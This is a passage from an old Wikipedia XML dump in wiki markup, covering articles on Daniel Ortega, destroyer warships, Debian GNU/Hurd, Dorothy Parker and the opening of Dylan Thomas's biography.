Ortega was born to a middle-class family in La Libertad, Nicaragua. His parents were active in opposition to the regime of [[Anastasio Somoza Debayle]], and he was arrested for his own political activities as early as age 15. In 1963 he attended the [[University of Central America| University of Central America, Managua]] in [[Managua]] and quickly joined the then-underground FSLN. By 1967 he became a leader in the FSLN, in charge of the urban [[guerrilla warfare|guerrilla]] campaign, but shortly after that he was arrested. He remained in prison until 1974, when he was released in exchange for hostages held by the FSLN. He immediately visited [[Cuba]], a major source of aid for the Sandinistas, and returned to his role as guerrilla commander. 

When Somoza was overthrown by the FSLN in July 1979, Ortega became a member of the five-person [[Junta of National Reconstruction]], which also included Sandinista militant [[Moisés Hassan]], novelist [[Sergio Ramírez Mercado]], businessman [[Alfonso Robelo Callejas]], and journalist [[Violeta Barrios de Chamorro]] (associated with the newspaper [[La Prensa]]). The FSLN came to dominate the junta, Robelo and Chamorro resigned, and Ortega became the ''[[de facto]]'' ruler of the country.

In November 1984 Ortega called national elections and won the presidency with 63% of the vote, taking office on January 10, 1985. At the request of the [[United States]], some opposition parties [[boycott|boycotted]] the election, which was immediately denounced as a &quot;sham&quot; by the [[Ronald Reagan|Reagan]] administration; however, many international observers declared the election to be fair. 

For more details on Ortega’s presidency, see [[Sandinista National Liberation Front]].

==Post-1990==

In Nicaragua's 1990 elections, Ortega lost to Violeta Barrios de Chamorro, his former colleague in the Junta. Chamorro was supported by a 14-party anti-Sandinista alliance known as the [[National Opposition Union]] (Union Nacional Opositora, UNO). The various anti-Sandinista guerrilla movements collectively known as the [[Contras]], as well as the United States’ trade [[embargo]] against the country, greatly hurt Ortega’s popularity in this election.

Ortega stood for election again in October 1996 and November 2001, but lost on both occasions. In these elections, a key issue was the allegation of corruption. In Ortega’s last days as president, through a series of legislative acts known as “The [[Piñata]]”, estates that had been seized by the Sandinista government (some valued at millions and even billions US$) became the private property of various FSLN officials, including Ortega himself. It is also alleged that Ortega appropriated national bank funds for his personal account. In reference to these allegations, critics often call Ortega “El Piñatin”. 

In 2001, the allegations of corruption against Ortega were somewhat overshadowed by those against [[Arnoldo Aleman]], who defeated Ortega in 1996 and was still president in 2001. However, Ortega was then confronted with other scandals. His stepdaughter, [[Zoilamérica Narváez]], made public allegations that he sexually abused her. Entities in the United States, most notably [[Jeb Bush]], ran large ads in Nicaraguan newspapers associating Ortega with international [[terrorism]]. 

Ortega has long been accused of [[caudillo|caudillismo]] (anti-democratic politico-military populism) and excessively authoritarian leadership. Prominent Sandinistas including [[Sergio Ramirez]] and [[Herty Lewites]] have left the party or have been expelled for dissenting to Ortega’s power. Many such dissenters support a small splinter group, the [[Sandinista Renewal Movement]] (the Movimiento Renovador Sandinista or “MRS”), although this party eventually chose to support Ortega’s candidacy in the 2001 election. More recently, journalist [[Carlos Guadamuz]] was murdered for their reporting critical of Ortega. Others have received death threats, including the well-known political cartoonist [[Manuel Guillén]]. There is no clear evidence that Ortega was directly involved in any such incidents. [http://www.ifex.org/fr/content/view/full/67620/] 
 
Daniel Ortega was instrumental in creating the controversial strategic pact between the FSLN and the [[Constitutional Liberal Party]] (Partido Liberal Constitucionalista, PLC). This alliance of Nicaragua's two major parties has changed the structure of the government and minimized the participation of other parties. ''&quot;El Pacto,&quot;'' as it is known in Nicaragua, is said to have personally benefited former presidents Ortega and Aleman greatly, while constraining current president Bolaños.
 
Ortega continues to lead the Sandinista party, which holds 43 seats in the Nicaraguan Parliament, making it the country's second largest party.  Presidential elections are due in November 2006, and public opinion polls [[as of 2005]] suggest Ortega will be one of a few leading candidates. [[Herty Lewites]] &amp;mdash; also running for president &amp;mdash; has suggested that Ortega's pact with Aleman has given Ortega ''de facto'' control of the bodies responsible for administering the election, and thus that Ortega will be even more formidable than polls indicate.

==External links==
*[http://edition.cnn.com/SPECIALS/cold.war/episodes/18/interviews/ortega/ CNN Cold War: Interview with Daniel Ortega]
*[http://www.csmonitor.com/2005/0915/p01s04-woam.html?s=yaht ''The Christian Science Monitor'', September 15, 2005, profile of Daniel Ortega]


{{start box}}
{{succession box|
 before=[[Junta of National Reconstruction]]|
 title=[[President of Nicaragua]]|
 after=[[Violeta Chamorro|Violeta Barrios de Chamorro]]|
 years=1985&amp;ndash;1990
}}
{{end box}}
[[Category:1945 births|Ortega, Daniel]]
[[Category:Living people|Ortega, Daniel]]
[[Category:Presidents of Nicaragua|Ortega, Daniel]]

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  <page>
    <title>Destroyer</title>
    <id>8779</id>
    <revision>
      <id>42079700</id>
      <timestamp>2006-03-03T18:06:56Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">:''This article is about the warship. For other meaning, see [[destroyer (disambiguation)]].''
[[Image:destroyer.arp.500pix.jpg|thumb|250px|[[USS Lassen (DDG-82)|USS ''Lassen'']], an [[Arleigh Burke class destroyer|''Arleigh Burke''-class]] destroyer]]
In [[navy|naval]] terminology, a '''destroyer''' is a fast and maneuverable yet long-endurance [[warship]] intended to escort larger vessels in a [[Naval fleet|fleet]] or [[battle group]] and defend them against smaller, short-range attackers (originally [[torpedo boat]]s, later [[submarine]]s and [[aircraft]]).  At the beginning of the [[21st century]], destroyers are the heaviest [[surface combatant]]s in general use, with only two nations (the [[United States]] and [[Russia]]) operating [[Cruiser (warship)|cruiser]]s and none operating [[battleship]]s.{{ref|1}}  Modern destroyers are equivalent in tonnage and drastically superior in firepower to cruisers of the [[World War II]] era, capable of carrying [[nuclear missile]]s able to destroy cities in a very small volley.

==Genesis of the destroyer==
The destroyer originated in the [[United Kingdom]] and [[Japan]] in the last years of the [[1880s]], and became firmly established after the [[Chilean Civil War]] of [[1891]] and in the [[Sino-Japanese War (1894-1895)|Sino-Japanese War (1894&amp;ndash;1895)]]. In those conflicts, a new type of ship proved to be devastatingly effective&amp;mdash;the swift, small [[torpedo-boat]] invented by [[John Ericsson]]. These small boats had speed greater than that of the larger ships, and could dash in close to them, loose their [[torpedo]]es, and dash away.

While normally a small, short-range boat of this sort would be easily destroyed long before getting into range, they could be operated within a fleet with larger ships as long as the fleet was close to base. In this case the defending force had to choose which set of targets to attack: the larger ships which they were built to counter, or the smaller torpedo boats which were charging in to attack. Yet this one-two punch cost almost nothing to the attacker, as the small torpedo boats were very inexpensive.

The world's navies recognized the need for a counter weapon and developed the ''torpedo-boat destroyer''. The basic idea was to have a screen of ships that were as fast as the torpedo boats, but armed with guns instead of torpedoes. They would operate at a distance from the main fleet of [[capital ships]] to keep the torpedo-boats from ever getting into [[torpedo]] firing range.

However it was clear even at the time that this concept had problems of its own. The ship would indeed be capable of holding off an attack by torpedo boats (which typically have no guns of their own), but while operating away from the fleet they would be easy targets for any other capital ship. Thus they were often given torpedoes of their own.

Another problem was that the torpedo-boats were short ranged and thus easy and cheap to produce. However the destroyers had the problem of needing to operate as a screen for the fleet. This required them to have the speed and range of the [[battleships]], so destroyers were often much larger than the boats they were designed to counter.

===First designs===
[[Image:Kotaka.jpg|thumb|250px|The [[Imperial Japanese Navy]]'s ''[[Japanese warship Kotaka|Kotaka]]'' ([[1887]])]]
The first effective design of a torpedo-boat destroyer emerged in [[1885]] with the Japanese [[Japanese warship Kotaka|''Kotaka'']], which ''&quot;was the forerunner of torpedo-boat destroyers that appeared a decade later&quot;'' (Kaigun, David C. Evans). Designed upon Japanese specifications and ordered to the British [[Yarrow shipyards]] in [[1885]], she was transported in parts to Japan, where she was assembled and launched in [[1887]]. She was armed with four 1-pounder (37 mm) quick-firing guns and four [[torpedo]] tubes, reached 19 knots, and at 203 tons, was the largest torpedo boat yet designed. In her trials in [[1889]], ''Kotaka'' demonstrated that she could go beyond a role of coastal defense, and was capable of following larger ships on the high seas. The Yarrow shipyards, builder of the parts for the ''Kotaka'', ''&quot;considered Japan to have effectively invented the destroyer&quot;'' (Howe).

[[Image:ContratorpederoDestructor.jpg|thumb|250px|left|The [[Spanish Navy]]'s ''Destructor'' (1886)]]
Almost immediately after the order of the ''Kotaka'' was placed, [[Fernando Villaamil]] of the [[Spanish Navy]] also placed an order for a torpedo-boat destroyer in November 1885, with the British builder James and George Thompson, of [[Clydebank]], also nearby the Yarrow shipyards. The ship, named ''Destructor'', was laid down at the end of the year, launched in 1886, and commissioned in 1887, thereby becoming the first torpedo-boat destroyer to be completed. Her displacement was 380 tons, and she was equipped with triple expansion engines generating 3,800 HP, for a maximum speed of 22.6 knots. She was armed with one 90 mm [[Hontoria]] cannon, four 57 mm [[Nordenfeldt]] cannon, two 37 mm [[Hotchkiss]] guns and 3 Schwartzkopff torpedo tubes. Her complement was 60 men.  

[[Image:HMS Havock (1893).jpg|thumb|250px|[[Havock class destroyer|HMS ''Havock'' ]] ([[1893]]).]]
The next effective design of torpedo boat destroyer, with the range and speed to keep up with battleships, was the [[Havock class destroyer|''Havock'' class]] of two ships of the [[Royal Navy]], developed in 1892 under the newly appointed Third Sea Lord Rear Admiral [[John Fisher, 1st Baron Fisher|&quot;Jackie&quot; Fisher]], and launched in [[1893]]. The ''Havock'' had a 240 tons displacement, a speed of 27 knots, and was armed with a single 12-pounder (76 mm) gun, three 6-pounders (57 mm), and three 46 cm torpedo tubes.

The [[United States]] commissioned its first destroyer, [[USS Bainbridge (DD-1)|USS ''Bainbridge'']], Destroyer No. 1, in [[1902]]. 

The torpedo boat destroyer later on took over the role of the smaller torpedo boats, performing torpedo attacks on fleets, such as the devastating Japanese attack on the Russian fleet in [[Battle of Port Arthur|Port Arthur]] at the opening of the [[Russo-Japanese War]] in 1904, and attacks in the Pacific theatre of [[World War II]].

==World War I==

Torpedo Boat destroyers grew in size and effectiveness in the early part of the 20th century. Innovations such as [[turbine propulsion]], oil-fired rather than coal-fired boilers, and longer ranged &quot;heater&quot; torpedoes led to effective ships being designed by the United Kingdom and Germany.

The threat evolved by [[World War I]] with the perfection of the [[submarine]]. In general, the submarine, or [[U-boat]], of the era was nothing more than a submersible torpedo boat. This change allowed the submarine to hide from the guns of the destroyers and close to firing while underwater. This led to an equally rapid destroyer evolution during the war, which was quickly equipped with [[depth charge]]s and [[sonar]] for countering this new threat.

At the end of the war the state of the art was represented by the British [[V and W class destroyer]].

==Inter-War==
[[Image:Fubuki.jpg|thumb|250px|Japan's ''[[Fubuki class destroyer|Fubuki]]'' destroyer (1928)]]
Destroyer construction continued during the inter-war period, initially with designs evolved from the British V &amp; W Class. A major innovation came with the Japanese [[Fubuki class destroyers]] or special type of 1928, which introduced enclosed turrets capable of anti-aircraft fire and the 24-inch (60cm) oxygen fuelled [[Type 93 torpedo]]. Most other nations replied with similar larger ships, including the US [[Porter-class destroyer]] leader and the British [[Tribal class destroyer (1936)|''Afridi''-class destroyer]] (commonly called &quot;Tribals&quot;)

Anti-submarine sensors included [[sonar]] or [[ASDIC]], although training in their use was indifferent. Anti-sub weapons changed little, and ahead-throwing weapons, a need recognized in WWI, had made no progress.

==World War II==

By [[World War II]] the threat had evolved once again. Submarines were more effective, and [[aircraft]] had become important weapons of naval warfare; once again the fleet destroyers were unequipped for combatting these new targets. They were re-equipped with new [[anti-aircraft]] guns, [[radar]], and [[ahead-throwing ASW]] weapons, in addition to their existing light guns, depth charges, and torpedoes. By this time the destroyers had become large multi-purpose vessels, expensive targets in their own right rather than expendable vessels for the protection of others. This led to the introduction of smaller and cheaper specialized anti-submarine warships by the [[Royal Navy]]: [[corvette]]s and later [[frigate]]s, while the US introduced [[destroyer escort]]s.

==Post War==
Some conventional destroyers were completed in the late 1940's and 1950's which built on wartime experience. These vessels were significantly larger than wartime ships and had fully automatic main guns, unit Machinery, radar, sonar, and antisubmarine weapons such as the Squid mortar. Examples include the British [[Daring class destroyer (1949)|''Daring''-class]], US [[Forrest Sherman class destroyer|''Forrest Sherman''-class]], and the Soviet [[kotlin class (project 56)|Kotlin-class]] destroyers.

Some World War II-vintage ships were modernised for anti-submarine warfrare, and to extend their service lives, to avoid having to build (expensive) brand-new ships.  Examples include the US [[FRAM I]] programme and the British [[Type 15 frigate]]s converted from fleet destroyers.

==The Missile Age==
The advent of surface-to-air ([[Surface-to-air missile|SAM]]) missiles and surface-to-surface ([[Surface-to-surface_missile|SSM]]) missiles, such as the [[Exocet]], in the early 1960's changed naval warfare. Guided missile destroyers ([[DDG]] in the US Navy) were developed to carry these weapons and protect the fleet from air, submarine and surface threats. Examples include the Soviet [[Kashin class destroyer|Kashin-class]], the British [[County class destroyer|''County''-class]], and the American [[Charles F. Adams class destroyer|Charles F. Adams-class]].

==Modern destroyers==
[[Image:HMCS Algonquin (DDG 283).jpg|thumb|right|225px|[[HMCS Algonquin (DDH 283)|HMCS ''Algonquin'']], a Canadian [[Iroquois class destroyer|''Iroquois''-class]] destroyer]]
[[Image:HMS Manchester (D95) Type 42 destroyer.jpg|thumb|right|225px|HMS ''Manchester'' a [[Type 42]] destroyer of the Royal Navy]]

In the [[US Navy]], destroyers operate in support of [[carrier battle group]]s, surface action groups, amphibious groups and replenishment groups. The destroyers currently in use by the US Navy are the [[Arleigh Burke class destroyer|''Arleigh Burke''-class]]. Destroyers (with a DD [[hull classification symbol]]) primarily perform anti-submarine warfare duty while [[guided missile]] destroyers (DDGs) are multi-mission ([[anti-submarine]], [[anti-aircraft]], and anti-surface warfare) surface combatants. The relatively-recent addition of [[cruise missile]] launchers has greatly expanded the role of the destroyer in strike and land-attack warfare.  As the expense of heavier surface combatants has generally removed them from the fleet, destroyer tonnage has grown (a modern [[Arleigh Burke class destroyer|''Arleigh Burke''-class]] destroyer has the same tonnage as a [[World War II]] [[light cruiser]]).  ''Arleigh Burke'' is billed by her builders, the [[Bath Iron Works]], as ton-for-ton the most powerful warship in history.

[[Image:Destroyer Class Ships.jpg|left|Modern Destroyers]]



The Royal Navy currently operates 8 ships of the [[Type 42 destroyer|Type 42]] class.
The destroyers (as well as frigates) are, as always, the workhorses of the fleet, the former optimised for air defence and the latter for surface and subsurface warfare. They are equally at home in large task groups or on independent operations which may include sanctions enforcement, humanitarian relief or anti-drug patrols. British destroyers (of recent times) have an average displacement of around 5,000 tonnes, and are armed with a mixture of guns and missiles including 114 mm (4.5 inch) Mk 8 guns, [[Sea Dart]] Missiles, 20 mm Close range guns, Vulcan Phalanx close in weapons system (CIWS), anti submarine torpedo tubes.

The [[Canadian Forces Maritime Command|Canadian Navy]] currently operates the [[Iroquois class destroyer|''Iroquois''-class]] destroyers, a class of four [[helicopter]]-carrying, anti-aircraft, [[guided missile]] destroyers. Launched in the [[1970s]], the ''Iroquois'''s were the first all [[gas turbine]] powered military ships, using two turbines for cruise power, and another two fast starting &quot;boost&quot; turbines for speeds of up to 29 knots (such an arrangement is known as [[Combined gas or gas|COGOG]]). The design was a major inspiration for the US's later [[Spruance class destroyer|''Spruance''-class]] ships. They were originally fitted out for [[anti-submarine warfare]], but the entire class underwent major retrofits as a part of the Tribal Class Update and Modernization Program, or TRUMP, in the 1990s. These refits had the effect of re-purposing the ships for area air-defence, and the ships are now referred to as air-defence destroyers.

==Future destroyers==
The last US Navy [[Spruance class destroyer|''Spruance''-class destroyer]] in service, [[USS Cushing (DD-985)|USS ''Cushing'']], was decommissioned on [[September 21]] [[2005]].  The [[Zumwalt class destroyer|''Zumwalt''-class]] were planned to replace them; on [[November 1]], [[2001]], the US Navy announced the issuance of a revised Request for Proposal (RFP) for the Future Surface Combatant Program. Formerly known as DD 21, the program will now be called [[DD(X)]] to more accurately reflect the program purpose, which is to produce a family of advanced technology surface combatants, not a single ship class. DD(X) is no longer called ''Zumwalt''-class, and is much larger than traditional destroyers, being nearly three thousand tons heavier than a [[Ticonderoga class cruiser|''Ticonderoga''-class]] [[cruiser]]. It will potentially employ advanced weaponry and an all-electric [[Integrated Power System]].  With the retirement of the ''Spruance'' class, the Navy began commissioning an advanced variant of the ''Arleigh Burke'' class with expanded ASW capabilities, the ''Arleigh Burke'' Flight IIA, beginning with [[USS Oscar Austin (DDG-79)|USS ''Oscar Austin'']].

The current Royal Navy Type 42 destroyers are to be replaced by the new [[Type 45 destroyer|Type 45]] ''Daring''-class from 2006 onwards. A class of 8 ships is envisaged, with an entire programme budget of £6 billion. Displacing around 7,200 tons, they will be equipped with the UK variant of the [[PAAMS|Principal Anti-Air Missile System]] (PAAMS) and BAE [[SAMPSON]] radar. Design and construction of the first ships is split between [[BAE Systems]] and [[Vosper Thornycroft]] under the overall project management of BAE systems. The ships are assembled at [[Scotstoun]], by [[BAE Systems Naval Ships]]. HMS Daring, the first of her class, was christened by Sophie, Countess of Wessex, and launched on the Clyde on [[1 February]] [[2006]].

The $5.2 billion CADRE (Command &amp; Control and Air-Defence Capability Replacement) project is meant to replace Canada’s [[Iroquois class destroyer|''Iroquois''-class]] destroyers whose primary role shifted to area air-defence after TRUMP refits in the 1990s. Although the area air-defence capability had not previously existed, the Canadian Navy now regards “wide area air defence” as part of Canada’s core naval capabilities. When the project began, Canadian Navy destroyers were expected to need replacing by 2005, they are now expected to serve until 2010. There was some work on a replacement design, known to Navy-watchers as the [[Province-class destroyer|''Province''-class]] destroyers, but this was confined largely to studies of a much-improved multi-function three dimensional [[phased array]] [[radar]] system being developed in conjunction with the Dutch and German navies, known as [[APAR]]. Current speculation is that the ships themselves would be similar to a &quot;stretched&quot; [[Halifax class frigate|''Halifax''-class]] frigate.

==See also==

* [[List of destroyer classes]]
* [[United States Navy 1975 ship reclassification]]

==Notes==
#{{note|1}} Although there are currently no active battleships in any navy the United States navy still maintains two [[Iowa class battleship|''Iowa''-class]] [[battleship]]s, and could reactivate one or both if necessary.  These ships are maintained as a political necessity, and not likely to ever be reactivated (one, ''[[USS Iowa (BB-61)|Iowa]]'', has never-repaired explosion damage to her center turret).

==References==
* &quot;''Kaigun'':  Strategy, Tactics, and Technology in the Imperial Japanese Navy, 1887-1941&quot;, David C. Evans, Mark R.Peattie, Naval Institute Press, Annapolis, Maryland ISBN 0870211927
* &quot;The Origins of Japanese Trade Supremacy: Development and Technology in Asia from 1540 to the Pacific War&quot;, Christopher Howe, The University of Chicago Press, ISBN 0226354857
* &quot;The Atlantic Campaign&quot;, Dan van der Vat.
* &quot;DD-963 Spruance-class&quot; http://www.globalsecurity.org/military/systems/ship/dd-963.htm

==External links==
*[http://homepage2.nifty.com/nishidah/stc0644.htm The Japanese 1887 Kotaka (Japanese)]
*[http://www.historialago.com/av_0110_d_destructor_tribal.htm The Spanish 1886 Destructor (Spanish)]


[[Category:Ship types]]
&lt;!-- The below are interlanguage links. --&gt;

[[cs:Torpédoborec]]
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  <page>
    <title>Debian GNU/Hurd</title>
    <id>8780</id>
    <revision>
      <id>40005391</id>
      <timestamp>2006-02-17T12:55:37Z</timestamp>
      <contributor>
        <ip>213.253.35.162</ip>
      </contributor>
      <comment>fix link</comment>
      <text xml:space="preserve">'''Debian GNU/Hurd''' is the [[Debian|Debian Project's]] distribution of the [[GNU]] [[operating system]] with the [[GNU Hurd|Hurd]] as its [[Kernel (computer science)|kernel]].

Debian GNU/Hurd has been in development for years, but still has not been officially released. Roughly half of the software packaged for [[Debian|Debian GNU/Linux]] has been ported to [[GNU/Hurd]].  However, the [[GNU Hurd|Hurd]] itself remains under development, and as such is not ready for use in production systems.  Accordingly, most Debian users run stable distributions based on the Linux kernel.

The GNU/Hurd operating system can be tried out using a [[LiveCD]] (see external links). 

==See also==
*[[Debian GNU/Linux]]
*[[Debian GNU/NetBSD]]
*[[Debian GNU/kFreeBSD]]

==External links==
* [http://www.gnu.org/software/hurd/ GNU Hurd homepage]
* [http://www.debian.org/ports/hurd/ Debian GNU/Hurd home page]
* [http://hurd.gnufans.org/ Hurd Wiki at GNUfans.org]
* [http://superunprivileged.org/ Superunprivileged.org] &amp;mdash; provides a GNU/Hurd LiveCD
* [http://people.debian.org/~neal/FOSDEM-2005/ FOSDEM 2005 Hurd Developers' Mini-Symposium]

[[Category:Debian|GNU/Hurd]]
[[Category:Free software operating systems]]

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  <page>
    <title>Dorothy Parker</title>
    <id>8781</id>
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      <id>41987511</id>
      <timestamp>2006-03-03T01:39:25Z</timestamp>
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      <comment>/* Early life */</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = Dorothy Parker |
  image_name     = Dorothy75.jpg |
  image_caption  = |
  date_of_birth  = [[22 August]] [[1893]] |
  place_of_birth = [[Long Branch, New Jersey|Long Branch]], [[New Jersey]] |
  date_of_death  = [[7 June]] [[1967]] |
  place_of_death = [[New York City|New York]], [[New York]]
}}
'''Dorothy Parker''' ([[August 22]] [[1893]] &amp;ndash; [[June 7]] [[1967]]) was an [[United States|American]] [[writer]] and [[poet]] best known for her caustic [[wit]], wisecracks, and sharp eye for [[20th century]] urban foibles.  Also known as '''Dot''' or '''Dottie''', Parker was born '''Dorothy Rothschild''' in the West End district of [[Long Branch, New Jersey]].

==Early life==
She grew up in springville [[Upper West Side]]. Young Dorothy Rothschild attended Blessed Sacrament Convent school, even though Dorothy's father was [[Jewish]] and her mother [[Protestant]]. She later went to a finishing school in [[Morristown, New Jersey]]. Her formal education ended when she was 13. 

Dorothy lost her mother when she was four years old and her stepmother at nine. Her uncle, Martin Rothschild, went down with the [[RMS Titanic|RMS ''Titanic'']] in [[1912]]. A year later her father died.

Young Dorothy earned money by playing piano at a dancing school, among other things.  She first sold a poem to ''[[Vanity Fair (magazine)|Vanity Fair]]'' magazine in [[1916]], and at the same time was hired as an editorial assistant for its sister magazine  ''[[Vogue (magazine)|Vogue]]''; she moved to ''Vanity Fair'' the next year.  In [[1917]] she met and married a Wall Street broker, Edwin Pond Parker II; they were almost immediately separated by [[World War I]].  Her family was not part of the Rothschilds banking dynasty; she joked that she married to escape her name.

==The Round Table years==
In [[1919]] her career took off while writing theatre criticism for ''[[Vanity Fair magazine|Vanity Fair]]'', initially as a stand-in for the vacationing [[P.G. Wodehouse]].  At the magazine she met [[Robert Benchley]], who became a close friend, and [[Robert E. Sherwood]].  They began lunching at the [[Algonquin Hotel]], among the founding members of the [[Algonquin Round Table]].  They were soon joined by [[Franklin Pierce Adams]] and [[Alexander Woollcott]], both newspaper columnists who helped publicize Parker's witticisms, [[Harold Ross]], and many others.

She was fired from ''Vanity Fair'' in [[1920]]-- Benchley and Sherwood resigned in protest-- and began earning a living as a freelance writer. She separated from her husband, and had affairs with reporter-turned-playwright [[Charles MacArthur]] and with the publisher [[Seward Collins]].  When [[Harold Ross]] founded ''[[The New Yorker]]'' in [[1925]], she and [[Robert Benchley]] were considered part of the staff, though at first they contributed little to the magazine.

Parker became famous for her short, viciously humorous poems, many about the perceived ludicrousness of her many (largely unsuccessful) romantic affairs and others wistfully considering the appeal of suicide. She never considered these poems as her most important works.

{{listen|filename=ParkerD-Men.ogg|title=Men|description=A 30 second except of Dorothy Parker's ''Men'' ([http://floozy.com/allison/rilke/dp.index.html#men.html Text of poem])}}

Her greatest period of productivity and success came in the next decade and a half; she published seven volumes of short stories and poetry: ''Enough Rope'', ''Sunset Gun'', ''Laments for the Living'', ''Death and Taxes'', ''After Such Pleasures'',  ''Not So Deep as a Well'' (collected poems), and ''Here Lies''.  After her death, the critic [[Brendan Gill]] noted that these titles &quot;amounted to a capsule autobiography.&quot;  Some of this work was originally published in the ''New Yorker'', to which she also contributed acerbic book reviews, under the byline &quot;Constant Reader&quot;; these were widely read and later published in a collection under that name.  She wrote or co-wrote several plays as well, some well-reviewed, though none of lasting note.

Her best-known story, published in [[Bookman Magazine]] under the title &quot;Big Blonde&quot;, was awarded the [[O. Henry Award]] as the most outstanding short story of [[1929]].  Her short stories, though often witty, were also spare and incisive, and more bittersweet than comic. 

Her friends found her both a source of fun and of tragedy; at least twice she attempted suicide.

==Hollywood and later life==
She married Alan Campbell, an actor with hopes to be a screenwriter, in [[1934]].  (He was reputed to be bisexual-- indeed, Parker did some of the reputing-- but there is no substantial evidence for this.)  She and Campbell moved to Hollywood and worked on more than fifteen films (on a salary of $5200 a week-- an enormous sum during the Depression).  With Robert Carson and Campbell, she wrote the script for the [[1937]] film ''[[A Star Is Born (1937 film)|A Star is Born]]'', which was nominated for an Academy Award for Best Writing - Screenplay.  Her marriage with Campbell was tempestuous; they divorced in [[1947]], remarried in [[1950]], and remained together on and off until his death in [[1963]] in [[West Hollywood]].

During the 1930s she became involved in left-wing politics, helping to found the Anti-Nazi League in Hollywood, and drifted away from some of her Round Table friends.  She was named as a [[communist]] by the [[Red Channels]] publication in 1950 and was investigated by the [[FBI]] for her suspected involvement in communism during the [[Joseph McCarthy|McCarthy]] era. As a result, she was placed on the [[Hollywood blacklist]] by the [[movie studio]] bosses. 

From [[1957]] to [[1962]] she wrote book reviews for ''Esquire'', though these were increasingly erratic due to her problems with alcohol.  She died of a heart attack at the age of 73 in [[1967]] at the Volney Apartments in New York. In her will, she bequeathed her estate to the Dr. [[Martin Luther King, Jr.]] foundation. Following King's death, her estate was passed on to the [[NAACP]]. Her executor, [[Lillian Hellman]], bitterly but unsuccessfully contested this disposition...

==Parker in culture==
At the height of her fame, George Oppenheimer wrote a play based on Parker, ''Here Today'' ([[1932]]); the character based on her was portrayed by [[Ruth Gordon]].

Her life was the subject of the [[1987]] film &lt;cite&gt;[[Dorothy And Alan At Norma Place]]&lt;/cite&gt; and the [[1994 in film|1994]] [[film]] &lt;cite&gt;[[Mrs. Parker and the Vicious Circle]]&lt;/cite&gt;, in which she was played by [[Jennifer Jason Leigh]].

Dorothy Parker's image appeared on a 29¢ U.S. commemorative postage stamp in the Literary Arts series issued August 22, 1992.

The Oxford English Dictionary attributes the following to Parker: wisecrack, one-night stand.

==Publications==
* Enough Rope (1926)
* Sunset Gun (1927)
* Close Harmony (1929) (play)
* Laments for the Living (1930)
* Death and Taxes (1931)
* After Such Pleasures (1933) 
* Collected Poems: Not So Deep As A Well (1936)
* Here Lies (1939)
* The Portable Dorothy Parker (1944)
* The Ladies of the Corridor (1953) (play)
* Constant Reader (1970)
* A Month of Saturdays (1971)
* Not Much Fun: The Lost Poems of Dorothy Parker (1996)

==Sources==  
* John Keats, ''You Might As Well Live: The Life and Times of Dorothy Parker'' (New York: Simon and Schuster, 1970).
* Marion Meade, ''Dorothy Parker: What Fresh Hell is This?'' (New York: Villard, 1988).
* Kevin C. Fitzpatrick, ''A Journey into Dorothy Parker's New York'' (Berkeley, CA: Roaring Forties Press, 2005). 

== External links ==
{{wikiquote}}
*{{gutenberg author|id=Dorothy_Parker|name=Dorothy Parker}}
*[http://www.nndb.com/people/512/000045377/ Entry in NNDB]
*[http://www.dorothyparker.com The Dorothy Parker Society] photos of Parker's homes, haunts
*[http://www.dorothyparker.com/walk.html Algonquin Round Table Walking Tours]
*[http://www.cs.rice.edu/~ssiyer/minstrels/index_poet_P.html#Parker Minstrels Archive] section on Parker's works
*[http://rpo.library.utoronto.ca/poet/248.html Selected Poems by Dorothy Parker]
*[http://www.randomhouse.com/boldtype/ohenry/0900/winners1919.html The O. Henry Award winners]
*[http://www.americanpoems.com/poets/parker Poems by Dorothy Parker]

[[Category:1893 births|Parker, Dorothy]]
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[[Category:American humorists|Parker, Dorothy]]
[[Category:American poets|Parker, Dorothy]]
[[Category:American screenwriters|Parker, Dorothy]]
[[Category:American short story writers|Parker, Dorothy]]
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    <title>Donne, John</title>
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      <text xml:space="preserve">#REDIRECT [[John Donne]]
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  <page>
    <title>Dylan Thomas</title>
    <id>8783</id>
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      <id>41961330</id>
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      <contributor>
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      <comment>/* Life */</comment>
      <text xml:space="preserve">'''Dylan Marlais Thomas''', ([[October 27]] [[1914]] &amp;ndash; [[November 9]] [[1953]]) was a [[Wales|Welsh]] [[poet]] and [[writer]].

Thomas will be played by Welsh actor [[Michael Sheen]] in the upcoming film biopic ''Caitlin'', charting the troubled relationship between the poet and his wife Caitlin (to be played by [[Miranda Richardson]]).


==Life==
[[Image:Dylan thomas birthplace.jpg|thumb|right|250px|5 Cwmdonkin Drive, Swansea: the birthplace of Dylan Thomas]]
Dylan Thomas was born in the coastal town of [[Swansea]], [[Wales]]. His father David, who was a writer and possessed a degree in English, brought his son up to speak [[English language|English]] rather than Thomas's mother's native [[Welsh language|Welsh]]. He attended the boys-only Swansea Grammar School, (later known as Bishop Gore Grammar School, now reincarnated as Bishop Gore Comprehensive School), at which his father taught English Literature. It was in the school's magazine that the young Dylan saw his first poem published.  Dylan Thomas's middle name, &quot;Marlais&quot;, came from the [[bardic name]] of his uncle, the [[Unitarian]] minister, Gwilym Marles (whose real name was William Thomas). Thomas's childhood was spent largely in Swansea, with regular summer trips to visit his mother's family on their [[Carmarthen]] farm.  These rural sojourns, and their contrast with the town life of Swansea, would inform much of his work, notably many short stories and radio essays and the poem &quot;[[Dylan Thomas/Fern Hill|Fern Hill]]&quot;. 

In [[1937]], Thomas married [[Caitlin Macnamara]] (1913-1994), and would have three children with her, throughout the relationship, littered with affairs. January of 1939 saw the birth of their first child, a boy whom they named '''Llewelyn''' (died in 2000). He was followed in March of [[1943]] by a daughter, [[Aeronwy Thomas|Aeronwy]]. A second son and third child, '''Colm Garan''', was born in July, 1949.

Thomas wrote half his poems and many short stories when he lived at 5 Cwmdonkin Drive&amp;mdash;&quot;[[And death shall have no dominion]]&quot; is one of the best known works written at this address. By the time he left the family home in [[1934]] he was one of the most exciting young poets writing in the English language. He collapsed on November 4, 1953 at the [[White Horse Tavern]] after drinking heavily while in [[New York City]] on a promotional tour; Thomas later died at St. Vincent's hospital, aged 39.

